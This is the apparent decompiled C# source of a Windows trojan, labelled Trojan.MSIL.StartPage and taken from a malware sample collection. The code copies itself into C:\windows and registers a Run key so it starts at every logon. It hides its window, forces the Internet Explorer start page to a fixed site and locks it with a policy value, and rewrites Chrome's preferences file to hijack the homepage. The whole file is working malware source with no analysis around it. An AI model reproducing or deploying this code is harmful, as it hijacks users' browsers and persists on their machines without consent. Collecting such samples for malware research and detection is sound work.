// Decompiled with JetBrains decompiler
// Type: MnsMngr.Form1
// Assembly: MnsMngr, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 4CD8D297-3888-4477-8C4E-7F2BE3C2C744
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan.MSIL.StartPage.t-447f49d247a41a4ff78fe0ec851f4f9d8c91841d9f4d4dbbe7e4b327862df14a.exe

using Microsoft.Win32;
using System;
using System.Collections;
using System.ComponentModel;
using System.Drawing;
using System.IO;
using System.Runtime.InteropServices;
using System.Threading;
using System.Windows.Forms;

namespace MnsMngr
{
  public class Form1 : Form
  {
    private const int GWL_EXSTYLE = -20;
    private const int WS_EX_TOOLWINDOW = 128;
    private const int WS_EX_APPWINDOW = 262144;
    private ArrayList satir = new ArrayList();
    private IContainer components = (IContainer) null;

    public Form1() => this.InitializeComponent();

    [DllImport("user32.dll")]
    public static extern int SetWindowLong(IntPtr window, int index, int value);

    [DllImport("user32.dll")]
    public static extern int GetWindowLong(IntPtr window, int index);

    private void Form1_Load(object sender, EventArgs e)
    {
      try
      {
        string destFileName = "C:\\windows\\mnsmngr.exe";
        string sourceFileName = Application.ExecutablePath.ToString();
        try
        {
          File.Copy(sourceFileName, destFileName, false);
        }
        catch
        {
        }
        RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
        if (registryKey.GetValue("MnsMngr") == null)
          registryKey.SetValue("MnsMngr", (object) "C:\\windows\\mnsmngr.exe");
        this.WindowState = FormWindowState.Minimized;
        this.Visible = false;
        this.ShowInTaskbar = false;
        Form1.SetWindowLong(this.Handle, -20, Form1.GetWindowLong(this.Handle, -20) | 128);
      }
      catch
      {
      }
      this.Visible = false;
      try
      {
        this.ChromeDegis();
      }
      catch
      {
      }
      try
      {
        this.ie();
        for (int index = 0; index < 30; ++index)
        {
          Thread.Sleep(100);
          Application.DoEvents();
        }
        Application.Exit();
      }
      catch
      {
      }
    }

    public void ie()
    {
      Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\Main", "Start Page", (object) "http://www.oyungan.com/");
      try
      {
        Registry.CurrentUser.OpenSubKey("Software", true).OpenSubKey("Policies", true).OpenSubKey("Microsoft", true).OpenSubKey("Internet Explorer", true).OpenSubKey("Control Panel", true).SetValue("HomePage", (object) 1, RegistryValueKind.DWord);
      }
      catch
      {
        try
        {
          RegistryKey registryKey1 = Registry.CurrentUser.OpenSubKey("Software", true).OpenSubKey("Policies", true).OpenSubKey("Microsoft", true);
          RegistryKey registryKey2 = (RegistryKey) null;
          RegistryKey registryKey3 = (RegistryKey) null;
          try
          {
            registryKey2 = registryKey1.CreateSubKey("Internet Explorer");
          }
          catch
          {
          }
          try
          {
            registryKey3 = registryKey2.CreateSubKey("Control Panel");
          }
          catch
          {
          }
          registryKey3.SetValue("HomePage", (object) 1, RegistryValueKind.DWord);
        }
        catch
        {
        }
      }
    }

    public void ChromeDegis()
    {
      string path = !(Environment.OSVersion.Version.ToString()[0].ToString() == "6") ? Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Google\\Chrome\\User Data\\Default\\Preferences" : Environment.GetEnvironmentVariable("LocalAppData") + "\\Google\\Chrome\\User Data\\Default\\Preferences";
      TextReader textReader = (TextReader) new StreamReader(path);
      string str1;
      while ((str1 = textReader.ReadLine()) != null)
      {
        if (str1.Contains("\"homepage\":"))
          this.satir.Add((object) "\"homepage\": \"http://www.oyungan.com\",");
        else if (str1.Contains("homepage_changed"))
          this.satir.Add((object) "\"homepage_changed\": true,");
        else
          this.satir.Add((object) str1);
      }
      textReader.Close();
      TextWriter textWriter = (TextWriter) new StreamWriter(path);
      foreach (string str2 in this.satir)
        textWriter.WriteLine(str2);
      textWriter.Close();
    }

    protected override void Dispose(bool disposing)
    {
      if (disposing && this.components != null)
        this.components.Dispose();
      base.Dispose(disposing);
    }

    private void InitializeComponent()
    {
      this.SuspendLayout();
      this.AutoScaleDimensions = new SizeF(6f, 13f);
      this.AutoScaleMode = AutoScaleMode.Font;
      this.ClientSize = new Size(49, 39);
      this.FormBorderStyle = FormBorderStyle.None;
      this.Name = nameof (Form1);
      this.Text = nameof (Form1);
      this.Load += new EventHandler(this.Form1_Load);
      this.ResumeLayout(false);
    }
  }
}
